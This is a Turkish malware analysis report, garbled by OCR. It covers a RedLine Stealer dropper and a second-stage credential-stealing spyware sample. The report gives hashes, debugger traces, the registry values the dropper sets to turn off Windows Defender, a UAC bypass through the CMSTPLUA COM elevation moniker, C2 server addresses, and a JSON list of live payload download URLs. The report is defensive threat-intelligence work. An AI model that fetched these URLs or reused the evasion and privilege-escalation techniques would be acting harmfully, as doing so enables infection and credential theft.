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MaxHolder.exe Analizi

Orjinal Dosya | MaxHolder.exe

Adi

MD5 33d711ccfedade9chd37c99e25¢13769

SHA1 781e0cdcbb1c72f217f54bedd2c2862¢c73604e89

SHA256 5d500524991ad1e6178h097b7ee5e270eef3710115b72a424b7fb2643490f992

FileVersion 10.24.0.1

RedLine Stealer malware ailesinin mensubu olan zararli karsimiza EXE uzantili olarak
¢ikmaktadir. Ana amaci kullanic1 kimlik bilgilerini ¢almak olan bu zararli drop edilecek olan
zararhlar1 calistirmak icin antivirlis bypass teknikleri uygulayarak zararli islemleri
gerceklestirecegi yazilimlari sisteme uzak sunuculardan indirmektedir.

Zararlinin ¢aligtirilabilmesi i¢in admin yetkilerinin onaylanmasi gerekmektedir.

<%uml version="1.0" encoding="UTF-8' standalone="yes'?>
<assembly xmlns="urn:schemas-microsoft-com:asm.vl’ manifestVersion="1.0"=
<trustinfo xmlns="urn:schemas-microsoft-com:asm.v3"»
< security>
<requestedPrivileges>
<requestedExecutionLevel level="requireAdministrator’ uificcess='false' />
</requestedPrivileges>
< security>
< ftrustinfo>
< faseemhlus

€8 o4rsrorF -[FruGizie

SoLackeerTE EAX  OOATFA40 "SOFTWARE\\P011c1es\\M1crosof t\\windows Defender”
FF?5 00

8085 4OFEFFFF
2 8
50 ESE  OOA7FSCC
68 02000080 ESI 00000000
EESIIE Fess oC 0I 00000001

884D F8
8875 FC

361 FLAGS 000002
OF8S F8040000 \G! 0000 ;E
3806

OF8S FO040000

€745 F& 657802
8845 F8
83F0 1
€745 F
8B40 W

LastError 00000057 (ERROR_INVALID_PARAMETER)

s
C 00000000 LasTSTatus CO000000 (STATUS_INVALID_PARAMETER)
C

Varsaylan (stdcal) v)s & Clwasz |

[espra] ODA7FA40 “SOFTWARE\\PO11C1es\\M1Crosoft\\windows Defender
3: fespr8] 00000001

’ ¢ : lespsct
Gnord ptr [ebp-24)={00A7 enKeyEXA> 5: [esps1d) OOATFEIC

012c8889

Zararl ilk olarak AV iirlinlerin zararl faaliyetlerini izlemelerini engellemek i¢in Windows
Defender ve Real-Time Protection, Behavior Monitoring gibi register degerlerinde degisiklik
yaparak AV iriinlerinin monitdr 6zelligini bypass etmeyi amaclamaktadir. Aktif ettigi register
kayitlar ;

e DisableRawWriteNoti e DisablelOAVProtectio e DisableRealtimeMo
fication n nitoring
e DisableBehaviorMoni e DisableScanOnRealtim e DisableOnAccessPr

toring eEnable otection




C745 €C 18E68826 mov dword ptr ss:[febp-24], 2686618
§6:0FEF4D CO pxor xmmi1,xmmword ptr =s:[febp-40]
51 push ecx

OF298D AOFEFFFF movaps xmmword ptr ss:febp-160],xmm1
56 push esi

50 push sax

BD85 9OFEFFFF Tea eax,dword ptr ss:[febp-170]

50 push eax

FF75 D8 push dword ptr lebp_2sll

FFES DC call dword ptr ebp-24]

Al 74BC2FOL ov eax,dword <1 [<&RegSetvalueExA>
8945 D mov dword ptr ebp-23],

C745 F8 59820900 mov dword ptr 98259

BB4E FB mov eax,dword p-=l)

83F0 17 xor eax,17

I

dword ptr [ebp-24]=[0DA7FEDC <EREgSETVAlLEEXA>]

eax: "DisableIDAVProtection”

eax: "DisableIoavProtection”

isableIDAVProtection”

eax: "pisableIoavProtection”

~|[ FPu Gizle
EAX  DOA7FA3D "DisableIoavProtection”
EBX  DODA7FC10
ECX  0DATFED4
EDX  0O00DDDDD
EBP  DOA7FCOD
ESP  00ATFaCE
[ ]| EsT  coooooos
EDI 00000004
EIP  012€5CGF

advapi3z.RegsetvalusExa>

5:

Varsaylan (stdcal)

FAS0 "Disablel0AVProtection”

[esp+10] DOA7FED4

8 [3] [ iitsiz

012C3€6F
W Dokm1 | yDekim2 | GDekim3 | WDskimd | GDakims | & o be-] Yerel Detigkerler | GoATEASD | DT -
Ekiim Skim3 Dékim4 Dékim5 Izle 1 Yerel Degiskenler | o' Yam DOA7FA90 | "DisableI0AVProtaction
00000000
Adres Hex - - - S -~ 00000004
OQDA7FA90 |44 69 73 61|62 6C 65 49[4F 41 56 50(72 6F 74 65|Di5ablelOAVProte 00A7FBD4
00 00 00|00 00 00 00(00 00 00 00| CLion.........un 00000004
6C 65 52 rd 3 6D 65 4D |Di §ab1gﬂealt1 meM 00000007
72 69 667 00 00 00|00 00 0D anaan
6C 65 53|63 61 BE 4F|6E 52 65 00,
45 6E 61|62 6C 65 00|00 00 00 00| ItimeEnable..... 00,
65 4F |6E 41 63 63|65 73 73 50|DisableonAccessp o
74 69 6F |GE 00 00 00|00 00 00 00|rotection.... . oo
6C &5 42 Z 9 6F 72 4D|DisableBehaviorM oc
72 69 6E|67 00 00 00|00 00 00 00| onitorim 00,
00 00 0000 00 00 00[00 00 00 0O..... oo
00 00 00|00 00 00 00|00 0O 00 00 . oo
00 00 00|00 00 00 00|00 00 00 00 . —ll oo,
00 00 00|00 00 00 00|00 00 00 00 . 00, Lo
00 00 0000 00 00 00[00 00 0O 0O . =
E3 27 E1|46 45 5C A9|5A BT 0A EE a'd 00,
48 33 9E|08 BE AD 0D|18 E6 8B 26 THeeen. @& — 3 A= il
E2 AA CF|4A B9 E7 68|16 D8 A4 AB|):=DE3*I1’ ch.ow L
0DA7FEEO| 05 0A A9 DE[AF E3 27 E1|46 45 5C A9|5A B7 0A EE|..ep &'aFEver..i hd KNI n ] v
Komut: varsaylan

AV {rlnlerini bypass ettikten sonra drop edilecek diger zararlilarin adreslerini bulunduran
WinHttpOpenRequest
136[.]144[.]141[.]133/server[.]txt adresinden istekte bulunmakta. Sunucu kapali durumda
oldugundan 136[.]144[.]41[.]201 ip’li sunucuya ayni istegi yaparak server.txt dosyasini

dosyay1 erismek

icin

api’sini

kullanarak

okumakta. Giincel server bilgisi “Host:37.0.11.41” olarak gorinmekte.

Test

je 12CBA40
mov_edx,dword ptr

ss:[febp+<]]

2ax

mov dword ptr ds:[esi+4],eax
x

eax, ea

je 12cBA%0
ov al,1

< n

"136.144.41.13;

FPU Gizle

EAX  T471E495 <WinhTTP. WinKTTPCONNecT>
EBX  0044F530

ECX  0080B5D8

EDX 00000050 et

EBP  0044F458

ESP  0034F344

ESI 00808348

EDI  008DAFDS L"/server.txt
EIP  012CBA30

EFLAGS 00000206

ZF 0 PF1 AF O

OF 0 SF O DFO

CEQ TEo IF1

« | varsaylan (stdcal)

~| & [+ [ kiitsiz

[espr4] OOBOAFED L136,144.41.133"
[esp+s

Zax=<winRTTp. WinHTLPCONNECt> (7471E495)

012CBAZ0

@ 136.144.41.201,

.e

C A Givenli degil

HOST:37.68.11.41

server.txt

[esp+c] 00000000
[esp+10] 0080E248
[esp+14] 0D44FaT4

»

+

136.144.41.20]1 fserver.txt




Kurban bilgisayarin ip ve lokasyon gibi bilgilerine erismek i¢in kullanilan adresler sunlardir ;

e ipinfo[.]io/widget
e ipgeolocationl.]io
e https[:]//www[.]Jmaxwind[.]Jcom/en/locate-my-ipaddress

e db-ip[.Jcom

e maxwind[.]Jcom/geoip/v2.1/city/me

+[o1z52ED2 GFEECO movsx_eax, al p
| 01252ED5 apap 88 Tea ecx,dword ptr * |l=EEY GOSTEr
®[ 01252ED8 8945 E3 mov dword .
daEEmE BER . oy Syeephr st LN
£8 6C2C0000 call 1255850 BB Joaarae
01252E€4 888D 2CFFRFFF mov ecx, dward
01252EEA 8945 80 mov_dword ptr |
0 ?1IZSZEE° £5c2 LESLcoc. BOX | L | varsayian (stdcal) v |5 2] [ witsz
1 [esp] 0044FD08 411"
01255E50 [esp+4] 0000D0O0OO
5: [esp+s] 00890330
a: [es| 00850674
01252EDF S— 1
= = = = JEEEEGEES] 0044FD08 [ "d117 B
| @ oslums | & wDskims | B fde 1 | Lol verel Dediskenier | ) Yapi 000000
00850330
|adres | nex i 00890674
00890330
00000000
00830340 0082FE18
00850350 o Josen
00850360
0129896A | return to 0129896 Trom 277
00890370
u 007F000
0089038 2 sLed
00850250 "41.01is,28 a0
00830340 org”: o
00890380 e
0128E7E4 |return to D128E7E4 Trom 0129894€
008903C0 Soaanns
00890200 . ERmLEeD
0085030 Abse” 0o
00830370 o~ o s
004400 [0125E084 | return to 0125E084 from 0125E300
00890400
0082FEL
00890410 { 0044F1
008304708 S48 012CCE74 |return to 012€C874 from 12430d0_c
00890430 22 34 20|47,. name”: oLzecs & e
00890440 45 53 39| "TELLCOM ILETIST Onsares
00890450 M HIZMETLERI A.5 T
O g 3 3 0044FD08 | "d11
= 0000000
00890470 q .
0088DCO0 | “ns: DENY\r\nx-xss-protection: 1; mode=blockirinx-conte
00890480
00826660
00890430 Soaacec
00830470 00000000 <
00850450
008904C0 < i ] v
Komut: Varsaylan -

Duraklatidl | Dokum: 00830330 -> 00850330 (0X00000001 bytes)

37[.]0[.]11[.]41/base/api/getDatal.]Jphp

adresiyle

haberleserek

|Debugaing icin Harcanan Zaman

anahtar

paylasimi

gergeklestirmektedir. Ortak anahtarla sifrelenen veriler uzak sunucudan indirildikten sonra
cozlimlenerek drop edilecek zararli dosyalarin adresleri elde edilmektedir.

83FE 0B
AL A3BC2FO1

5 07
68 0000E000
0z

cmp eax, B
mov eax,dword ptr ds:[<&WinHttpOperRequest>]
90E
jmp 12CESE0
push o
h o
push dword ptr ss:[ebp+Cll
h 0 -

ebp-a]]

push dword ptr
dx
push ecx

cax
mov_dword ptr ds:[esi+8],eax
Ttest eax,eax
je 12cB9FC

v al,1
pop esi
pop_ebp

et 5
xor al,al
pop esi
pop ebp

s

n

L"/base/api/getdata. php

L"37.0.11.41"

«|[ FPU Gizle

EAX  D0sA2C01
EBX D044EES0
ECX  92a7F2D2
EDX 00000000
EBP D044EDC4
ESE  0044EDAC
ESI D0836E3E
EDI  DO0s&FDFO L"/base/api /getnata. php"
EIP 012CBIF9
EFLAGS 00000206
mlzeo s
| oF O SF O DF O
CFO TFO IF1

Varsaylan (stdcall) x| 5 [ O Kiitsiz

1: [esp+d] DDBEFDFO L"/base/api/getData.php”
[esp+s] 00000000
[esp+c] o0836E38
[esp+10] O044EES0

[esp+r14] 00836E3E




EEFF mov_edi, edi - - WinATTpSendRequest A =
55 push ebp
mov ebp,esp =
81EC 98000000 sub esp,ss . ; Y Dealnoes
A1NEOE2CEEE 20 CoroEnll (7 Chlllee cexaid ECX  004D8790 L"Content-Type: application/x-www-form-urlencodedyr\n”
B945 FC mov d,‘.n;d‘pt, ss:[feby . EDX  0Q04FD3B0 "data=t1v4dCcGpSyYyZEXq6CcGOL UKZ UIWWUTWWZ EAHSKU4wyC81I0ac!
8845 0C mov eax,dword ptr cll EBP  0D41ED7S
8855 14 mov_edx,dword ptr 1 ESP  0041ED20
52 push ebx ESI  0D4962ES
BESD 08 mov_ebx,dword ptr ss:[ebp+s [ebp+8] L Content-Type: EDI  GECA47S7D <winhttp.WinHttpSendRequest>
56 push esi
57 push edi EIP  GEC4797D <winhttp.WinHttpSendRequests>
33F6 xor esi,esi
& push 3 - ]
8345 cC mov dword ptr ss:[febp-24], eax 1
33c0 Xxor eax,eax - e
B cexiLoContent Type: appl | Varsavian (stdcal) | 5 B[] Kiitsiz
07D DB [ebp-28]:L"/base/api/oet [1: [esprd] 00438280 I 2
8375 DO 2: [esp+8] 004DB790 L"Content-Type: application/x-www-form-urlencoded'\rin”
8975 D4 3: [esp+C] FFFFFFFF
8955 BS b 4: [esprid] "data=t1v4deGp: UKZULWWY 81108
F3148 rep stosd ~|=: [esp+i4] ococooooss
m b
€di=<winhttp.WinHTTPSENdREqUEST> (BEC4797D)

. Text:6EC4797D winhttp.d11:$797D #ED7D <WinHLTpSendRequest> o

|
N © . ?7?
Wrdamt | gypsam2 | whookim3 | GyDskime | Wy dskims | & fde 1 | beel YerelDediskener | . Yapi | return fo abc.GODIRSAT Trom -
Adres Hex ASCIT
004FD3B0 |64 61 74 61|30 74 &C 7€(34 64 63 47|70 35 79 79| data=tlv4dcGpSyy
04FD3CD (79 5 36 78|71 56 65 & 67 4C 55 48| GA 75 31 67 |y26xasCOOLUKTIAN
004FD3D0 |57 55 6A 77|57 7A 65 4148 38 6B 75|34 77 76 63| WUujwwzeAHBKU4WVC
D04FD3ED |28 21 49 4F |61 63 47 62|78 37 66 74|32 75 6E 4C|81I0acGbx7fraunL
004FD3F0 |43 4E 62 4D |36 75 48 58|65 6D 63 59|56 6A 78 63| CNbMEUHXemcYVIxi
004FD400 |60 77 68 79|37 4C 45 79|g5 GF ca 75|69 68 &F 73|mwhy7LEyeoTuikoy
004FD410|79 7A 74 6E|75 30 37 6B|6F 51 SF SA|75 37 43 2D|yztnuo7koq Zurc—
D04FD420 (47 30 58 36|73 48 45 63|39 62 73 48|46 74 31 52| GOX6SHECIDSKFTIR
D04FD430 |76 63 33 78|77 00 62 00|6F 00 6E 00|72 00 00 OO0|wiSyw.i.o. e
hea.iC

L Content-Type: application/x-www-form-urlencoded\rin”

"data=t 1v4dcGpsyyyZ6xq6cGgLUKZulWWU whz eAHBku4wvcB1T0ac

L"/base,/api/getData. php"”

004FD440(5E D6 81 68|00 00 00 80(23 00 00 00|00 00 00 00|AD
004FD450[00 00 00 00|00 00 00 00|00 00 00 00|00 0O 0O 0O

70
"data=t1v4dCGps VYYZ6Xa6CGAL UKZULWWU TWNZ BAHEKUAWVCE1T0AC T
b

Anabhtar aligverisi sonrasinda elde edilen veri agsagidaki gibi sifrelidir.

UGF3VFjerl+mH6rDPR1U4MfStuMXeRsT36Xw2axadEv/D8fgAIGUWJIEzRhrhZIs0ab0l0JGUgnNPINO01Bsnvry3LOKCEK Dzaf5/05zfB
Henr+cOnN19YyWXaL6Xk+Nt2pW+k1tbkHyQBIveZY AndvWiIkbl+EiFaQwHpVxlhvriodlyzzNw+8cvy0g9wcMHTOEXdU3TR2UNEDbc
uC+KQzzUB8iEs+q/jxftdBMGATQjTLG7Uoea3WVamb4t8uM9euP9ae6bgZhW70ZivVz0zuHWf8qMTyvj6cMLh1F86kBdaHsGI+8G0D3
mEf07TZD4LsagPGaRksFflI54ubh5Jou206uak9zvsWsztiHXG1c9yJgbtHAQY 2Y EAURZfkSiAgmkgjRRPXZNCSA9dpUOu+OMFx6jHMb
CwDj+LqvBRIYk9WcYLIJUNZVNEPTpnl+GkxbA69QwnC+TCIWBrJAEr9cA+4HFyPB52WQN8hSV3bVLZUcnNDnlfcIMaFD2IVRFSx
LOyqHfOILNEmfMIgh9kP0g5zs3pn2iRMeUFavOwyxzCdVFvxXQUZSFjfqduTd7MdOYWJHzdWixpeZzL SvVPECWIiBR+cqyjflsWaDmtB
RyX2DhfT4NCcFSGaOGd+Zbd6R3B14x5g/fnlYIhJWMK3QdEfmC3DyEOp7Qz8INbOQTcPsIOURB/6/40Apb5RpBfJAh/3eWgHtDkX7ny
2rUovktk5J1iY6Z6MclLKgpqglAek5VUmY I50EJeXcFghiOJhm27Y ltxqosowjrQ9scflUmOYEcH+z9DURD/m88/UByxaMkgU4gnfgSS/py
KO1qtn09nifGPr61EXj2gfcDquU9Gd22s6BsPUIMIIMEAG/xkCVziA1GeYL1U6LplvYgefgERAGRNDs87S/GyQm+ys2wuaRkyagv8vqlZH
5A4PLC8xtjHLgxt69Q5imBHvSx/3fZ/GhDOtnRCiTLCwItIrxQceXRIMfCKIv5omh85KuPtj+sVynpLudy3sDXL/Y'Y 1ogEnUXvL Y8J0plq
vw1jtUemC6jE/G8fxWOvcSIUz+0JYpR15Jsmn/ORU7QOpsKgdtMU1L72e160k+vzHyf2910jnMAQ7C9k8SJaY K4Y cvbQItIHK1hOzZe
WbwNBRQIilJf2+gp/LrFTCvISSXwHWeTSY5DI1ZzdFPyrbk DIV XN23Rd8mwE+g1WWW.tgrbtjxp+YzaY 7MGiQbaxXEHghpxIIFWBcyz3
Bf5N8qcdb3xN5wwV/5/YZBH14uXk7FHziPplJHCGOThgsVXGHvnrR18wyKyCkl41t+Xe7Tsjd10bt52DT YylIMPQnvIZHKp9vxzZBmgY
LKqgCh68NC71Eo0iyhzqTOu9eWVFXVXKHIArG/XnY1h/tyOT/81XqzYdboYjs/BtPgLfTcrhWW6eunO8RUmMESEZFH8ZVS7Af+b3uLI7HCt
XTclV6cMi013Xwyaf/ivTuvCT8pZOG38LPINWo0Z5PalfkXUdgIBbZYIsGGXwEjq47bjhB7xXC0LaCB3608amrfn0fctYm+C3DWpcA8q
BcecINgOliEycEMfdygK3LiSdPDWwg6kv5kF1navL CIFdIKv0j1+gxv7iKA03ub1LIWKS5py3KsondAZwUAOMEYexPjgaUlXs8+hCulal/+
NKsGDSZqgOcxhaXA+jP5hPI6b1ggWuQnQTrmbgjnTOugb1581FngGdBu/XMnPrFCdOJbyEoxs99Po8mJuu20+W9bl5MeX0yE96REalEv
BrUwigXrdGCbo5fWzijo6YbJBIvgtVjAwVvX+HfLuducvIZBtqEVpxCTuyes2UMQtwL Du/YewDZa34HPwWAOKL09gV7g0gqVMB7MoD
AWOraAhYcuZ/ItWRtdRafK+d8Wh2UDO4y+7UnGIx8ueTtOgye+T TkdFVh0556tZQ60y559Y MO2RcIMTsyxIwItMPiZHrIZXay92EWd
v+K+lai4=

Sifreli metin ¢oziildiikten sonra drop edilecek dosyalarin adresleri elde edilmektedir.

[{"id":"131","url":"https:\/\/cdn.discordapp.com\/attachments\/855697945679888404\/864858212527505428\/file2.bmp","args":""
L{"id":"132","url":"https:\/\/cdn.discordapp.com\/attachments\/855697945679888404\/864515165273325608\/file3.bmp","args":"
"1{"id":"136","url":"http:\/\/136.144.41.201\/WW\/file6.exe","args":""},{"id":"137","url":"http:\/\/136.144.41.201\/WW\/file7.exe",
"args":""},{"id":"138","url":"http:\/\/136.144.41.201\/WW\/file8.exe","args":""},{"id":"141","url":"https:\/\/cdn.discordapp.com\/att
achments\/849802777433341954\/849807598056112138\/Setup2.exe","args":""},{"id":"143","url":"https:\/\/cdn.discordapp.com\/
attachments\/849802777433341954\/851833670733266955\/jooyu.exe","args":""},{"id":"146","url":"https:\/\/a.xyzgame.vip\/userf
\/2201\/google-
game.exe","args":""},{"id":"156","url":"http:\/\/flamkravmaga.com\/pub4.exe","args":""},{"id":"158","url":"http:\/\/185.20.227.194\
/install.exe","args":""},{"id":"221","url":"http:\/\/136.144.41.201\/WW\/file5.exe","args":""},{"id":"222","url":"http:\/\/136.144.41.2
01\/WW\/file3.exe","args":""},{"id":"223","url":"http:\/\/136.144.41.201\/WW\/filel.exe","args":""},{"id":"224","url":"http:\/\/136.1
44.41.201\/WW\/file2.exe","args":""},{"id":"238","url":"http:\/\/136.144.41.201\/WW\/file10.exe","args":""},{"id":"242","url":"https
:\/\/cdn.discordapp.com\/attachments\/855697945679888404\/864742938050953216\/app.bmp","args":""},{"id":"254","url":"http:
\/\V/www.anderesitebrauchen.com\/campaign1\/autosubplayer.exe","args":""},{"id":"269","url":"https:\/\/cdn.discordapp.com\/atta
chments\/847501113036374067\/864173005051920414\/eghaest_1.bmp","args":""},{"id":"271","url":"https:\/\/cdn.discordapp.co
m\/attachments\/847501113036374067\/864186695954858024\/Mix_11.07_Rebuild_.bmp","args":""},{"id":"285","url":"http:\/\/i.s
pesgrt.com\/lqosko\/p18j\/customer3.exe","args":""},{"id":"286","url":"http:\/\/everestsoftrade.net\/Toner-
RecoverSetup.exe","args":""},{"id":"287","url":"http:\/\/136.144.41.201\/WW\/kaguya.exe","args":""},{"id":"288","url":"https:\/\/cd
n.discordapp.com\/attachments\/855697945679888404\/864895330696953876\/racoon.bmp","args":""}]




Drop Edilen Zararhlar

o gk w

8.
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10.
11.
12.
13.
14.
15.
16.

17.
18.

19.

20.
21.
22.
23.

https[:]//cdn][.]discordapp[.]Jcom/attachments/855697945679888404/86485821252750
5428/file2[.]Jbmp
https[:]//cdn][.]discordapp[.]Jcom/attachments/855697945679888404/86451516527332
5608/file3[.]Jbmp

http[:]//136[.]144[.]41][.]201/WW/file6[.]exe
http[:]//136[.]144[.]41[.]201/WW/file7[.]exe
http[:]//136[.]144[.]41[.]201/WW/file8[.]exe
https[:]//cdn][.]discordapp[.]Jcom/attachments/849802777433341954/84980759805611
2138/Setup?2[.]exe
https[:]//cdn][.]discordapp[.]Jcom/attachments/849802777433341954/85183367073326
6955/jooyu[.]exe

https[:]//a[.]xyzgame[.]vip/userf/2201/google-gamel[.]exe
http[:]//flamkravmaga[.]Jcom/pub4|.]exe

http[:]//185[.]20[.]227[.]194/install[.]exe

http[:]//136[.]144[.]41][.]201/WW/file5[.]Jexe
http[:]//136[.]144[.]41[.]201/WW/file3[.]exe
http[:]//136[.]144[.]41[.]201/WW/filel[.]exe
http[:]//136[.]144[.]41[.]201/WW/file2[.]exe
http[:]//136[.]144[.]41[.]201/WW/file10[.]exe
https[:]//cdnl[.]discordapp[.]Jcom/attachments/855697945679888404/864 74293805095
3216/app[.]Jobmp
http[:]//www[.]Janderesitebrauchen[.]Jcom/campaignl/autosubplayer[.]exe
https[:]//cdn][.]discordapp[.]Jcom/attachments/847501113036374067/86417300505192
0414/eghaest_1[.]Jobmp
https[:]//cdn][.]discordapp[.]Jcom/attachments/847501113036374067/86418669595485
8024/Mix_11[.]07_Rebuild_[.]Jomp
http[:1//i[.]Jspesgrt[.]Jcom/lqosko/p18j/customer3][.]exe
http[:]//everestsoftrade[.]Jnet/Toner-RecoverSetup[.]exe
http[:]//136[.]144[.]41[.]201/WW/kaguyal.]exe
https[:]//cdnl[.]discordapp[.]Jcom/attachments/855697945679888404/86489533069695
3876/6acon[.]Jomp

Bu adreslerden indirilen zararli yazilimlarin isimleri her indirmede rastgele belirlenmektedir.
Indirilen zararlilar ShellExecute api kullanarak galistirmaktadar.



EIP EDT BEFF mov_edi, edi ShellExecutea N
55 push ebp
= = v oy taper
- . A . EBX  0439FB0S &"http: //privacytoolsforyoufree. xyz/downloads/tool
AL FCcrEaTS mov cax.dword ptr ds: [7SESCFEC) cxjonss ECX  o07C2858 "http: //privacytoolsforyoufree. xyz /donnloads, tools
8345 FC mov dword ptr ss:[febp- -x] eax [ebp-4]:"http: //privacytoolsf[]| EBX 00000000
8845 08 mov eax,dword ptr bp [ebpts]:"http: //privacytoolsf—| EBP  0499FBO0
BEAD 0C mov ecx.dwora ptr ESP  0433FA34
BESS 10 mov edx,dword ptr ESI 00000000
8365 ED 00 and dword ptr ss: ofl, 0 EDI  75CESGFS <she1132.shellExecuteas
56 push esi
8875 14 mov esi,dword ptr EIP  75CESGFS <she1132.shellExecureas
7 push edi
8870 18 mov edi,dword ptr S =
R E e, z ErLaGs 09009344
8845 1C mov eax,dword ptr s OF 0 SF O DF o
€A 08 push
834D CC mov dword ptr EF@ TFs IFd
8370 D8 mov dword ptr
8945 DC mov dword ptr LastError 00000000 (ERROR_SUCCESS)
8975 D4 mov dword pTr Laststatus €O00007C (STATUS_NO_TOKEN]
) pop ecx ecx: "http: //privacytoolsforyo L
33co Xor eax,eax eax: "open” i 1
S masion mov_dentd nir ss-Behn v |[Verseylen Gstecal) v]5 2 [ witsiz
1: [espt4] 000000CU
edi=<shel132. shellEXecy (75CB86F8) 2: Ess+8 0499FACO “open”
3: [esp+C] OD7CZF5E "C:\\Users\\zorro\\Documents\\3zGiJGUgr IVZQHITME
4: [esp+10] 007C3358

- Text:75CB86F8 shel132.d11:4$2486F8 #247AF8 <shellExecuteas = |
003EADB4| return to DD3EADS4 from 272 A

W oskim1 | gypskim2 | 4 ooim3 | ook | @ookims | & e 1 | 1) verol Deiskenier | 7 vam |

gggg;r;s 3?3;\ SC 55173 65 72 73|5C 7A GF 72|72 GF 5C 44 g:ssazers\znrrn\D Uﬂ;g:gg ”g?squser5\\2W’U\\D““”‘“ts“szGfJGUQ’IVZQHBWEURZISQ'
007C2F68|6F 63 75 6|65 GE 74 73|5C 33 7A 4763 44 47 55 |oCuments\szeilgu 007c3353

007C2F78|67 72 49 56|32 51 48 33|54 4D 45 EF |52 7A 6C 73|QrIvaQHITMEGRZ1S 000000

e B8 3 TR s Sg tes 0 B0 Bl S0 68 C2EE9 i \\WEerS\\Zorro\\DOCUmENTS \\3ZG1 IGUGr IV2QHETHERZ 120. &
onzcar2ai onfoofongon ncfocfonfan ofeofoogos cofeatoots - it RIS R e R s

dM5ryOHofEtm1SLNIkpTtuWA.exe Analizi

Dosya Ad1 dM5ryOHofEtm1SLNIkpTtuWA.exe

MD5 5f396405a7b59a50f88500a902a6eed0

SHA1 881e08477363bf59adbeab9ea2c005d5f042cd58

SHA256 D2795ef3b6e6be4d8cef9d9a234c58eeabf381775675143bledd45eaff5a27a5

FileVersion 1.0.0.1

Casus yazilim tiirlindeki bu zararl tarayici belleginde tutulan 6deme bilgileri, kimlik bilgileri
gibi 6nemli verileri ¢almak icin yazilmis bir zararhidir. Kullanacagi fonksiyonlarin birgogunu
calisma aninda ¢oziimlemektedir.

Ik olarak mevcut process’in admin yetkileriyle baslayip baslamadigi kontrol edilmektedir.

pIdent _f_E’—U hority.value[3] =
y.Value[4] = @;

fierfut hc ity.Value[s] =

1 = GetCurrentThread();

f ( !OpenThreadToken(vl, 8u, @, &TokenHandle) )

if ( GetLastError() != 1088 )

return @;
2 = GetlurrentProcess(); |
if ( !OpenProcessToken(v2, 8u, &TokenHandle) )
return 8;
if ( GetTokenInformation(TokenHandle, TokenGroups, @, @, &Returnlength) )
return @;
if ( GetlastError() != 122 )
return @;
v4 = alloca(Returnlength);
int *)&vs;
TokenInformation = &v5;
if ( l&vs )
return @;
if ( !GetTokenInformation(TockenHandle, TokenGroups, TokenInformation, ReturnLength, &ReturnLength) )
return @;
if ( !AllocateAndInitializeSid(&pIdentifierfuthority, 2u, @x26u, 8x226u, @, 6, 6, 8, 8, 0, &psid) )
return @;

vE = B3

Daha sonra zararli kullanici hesap denetimini (UAC) bypass etmektedir. Bu islemi
CMSTPULA COM nesnesini  kullanarak dllhost.exe Uzerinden yetki yikseltmesi
gerceklestirerek yapmaktadir.




LU LLagumunu pu o guup eoTg

1 push ecx

BESS 0OC mov edx dword ptr ss:[Jebp+C])

52 push e

8DBS DOFDFFFF lea eax, dwnrd ptr ss:[Jebp-230]

50 push eax

BDBD F4FDFFFF lea ecx,dword ptr ss:[[ebp-z0C])

51 push ecx

FF15 0DE34001 €all dword ptr ds:[<&CoGetObject=]
013CFCA3 8985 C4FDFFFF mov dword ptr ss:|[febp-z3c],eax
013CFCA9 3302 xor edx,edx
013CFCAB| -~ OFB5 S6FFFFFF jne dmsryuhufetmls'ln'lkpttuwa.lscho?
n13reces RRaT 14 mov_eav dward nre cceBahn. i
4 1 I

ecx:L"Elevation: Administrator Inew: {3E5FC7F9-9

ecx:L"Elevation: Administrator Inew: {ZESFC?FQ—Q_

ELF ULsLrloU WS YUTIL ELILS ITHTRPLLUWG, ULSUFL I
EFLAGS 00000206

ZF 0 PF1 AF O

__||OF O SF 0 DFO
I

S: [esp+10] 80004005

dword ptr

[0140E300 <dmSryohofetmisTnTkpttuwa.&CoGetObjects>]=<0Te32. CoGetObject>

Ltext:013CFCID dmSrychofetmisInlkpttuwa. exe: $CFCID #CF29D

Varsaylan (stdcall + [0 iz
1: [esp] 001CEE78 L"Elevation:Administrator!new: {3ESFC7|
2: [esp+4] ODICEES4

3: [espt+8] 01418280 dmSryohofetmisinlkpttuwa. 01418280
4: [esptC] 001CEESD

A N i H ini ! . - - - =

W0skint | Wyoskim2 | grokins | dypotamd | @yvems | ) et | ivlveroDefiterier | J van | e TR
001CZE4D| 01418280 | dmsryohofetmisInlkptiuwa, 01418280

Adres | Hex — _ SRLLCDAE * | ooicee44| opiceEs0
001CEE78 45| 00 &C 00 00 76 00(61 00 74 D069 00 &F 00|Elevatio 0D1CEE4E | B0DD4005
001CEE88| 6E 00 3A 00 00 &4 00|6D 00 69 DO|6E 00 &9 00|n:Admini 001CEE4C | DDDDDD04
001CEE98 | L 7 00 61 00|74 00 6F 00|72 Q0 21 0Q|strator! 001CEES 0| 00000000 =
O01CEEA8|6E 00 65 00|77 00 3A 00|7E 00 33 00|45 00 35 00|new:{3E5 0D1CEES 4| 00000024 ‘ |
O01CEEBB| 46 00 43 00|37 00 46 00|39 00 2D 00|39 00 41 00(FC7F3-9A 001CEES B | 00000000 I
001CEECS| 35 00 31 00 00 34 00|33 00 36 00|37 00 2D 00|51-4367- 004CEESC | DODD0000
001CEED8 00 33 00|20 00 41 00|31 00 32 00|9063-A12 001CEEGD | D0DD0000
001CEEES| 30 00 32 00 00 34 00|46 00 42 00|45 00 43 00|0244FBEC Anircccsl nnannnnn 2
O01CEEFS8| 3L ¥l 00 C3 21|B8 5E 16 79|A1 D4 33 10|77} . SR m — ’
nnaczzng B3R FAzr a0 wn o ozles an o aclpa of iz ge

Dllhost.exe admin yetkileri ile c¢alistigindan dolayr bu uygulama fizerinden caligtirilan
komutlar da admin yetkisi ile ¢alisacaktir. Bu sayede kullanict denetimine ugramadan zararlt
kendisini dllhost.exe yetkilerini miras alarak baslatmaktadir.

® dM5ryOHofETmISLNIkpTtuWA exe

(3556) Ozellikleri

General | Statistics | Performance | Threads | Token | Modues | Memory | Environment | Handes | GPU_ | comment|

User: WIN-LIKDN79P80Dzorro Token Ozell

UserSID:  5-1-5-21-2987719733-4129870162-3181071129-1000 General | Advanced | Gavenlik

Session: 1 Elevated: Yes Virtualized: Not allowed

App container SID:  N/A Token
e = Foss User. WIN-LIKDN79PB0\zomo
BULLTIN\Administra tors Mandatory (default enabled) User SID: 5-1-5-21-2387719733-4129870162-3181071123-1000
BULLTINWsers Mandatory (default enabled)
Everyone Mandatory (defoult enzbied) e BUILTIN Adrirsttors
KONSOL OTURLMU ACMA Mandatory {default enabled) Primary group:  WIN-L1KDN7SP80J\None
LocaL Mandatory (default enabled)
NT AUTHORITY \Authenticated U...  Mandatory (default enabled) Session D) 1
— — - Bevated Yes Linked token
Name Status Description ot Aowed

lot Allowes

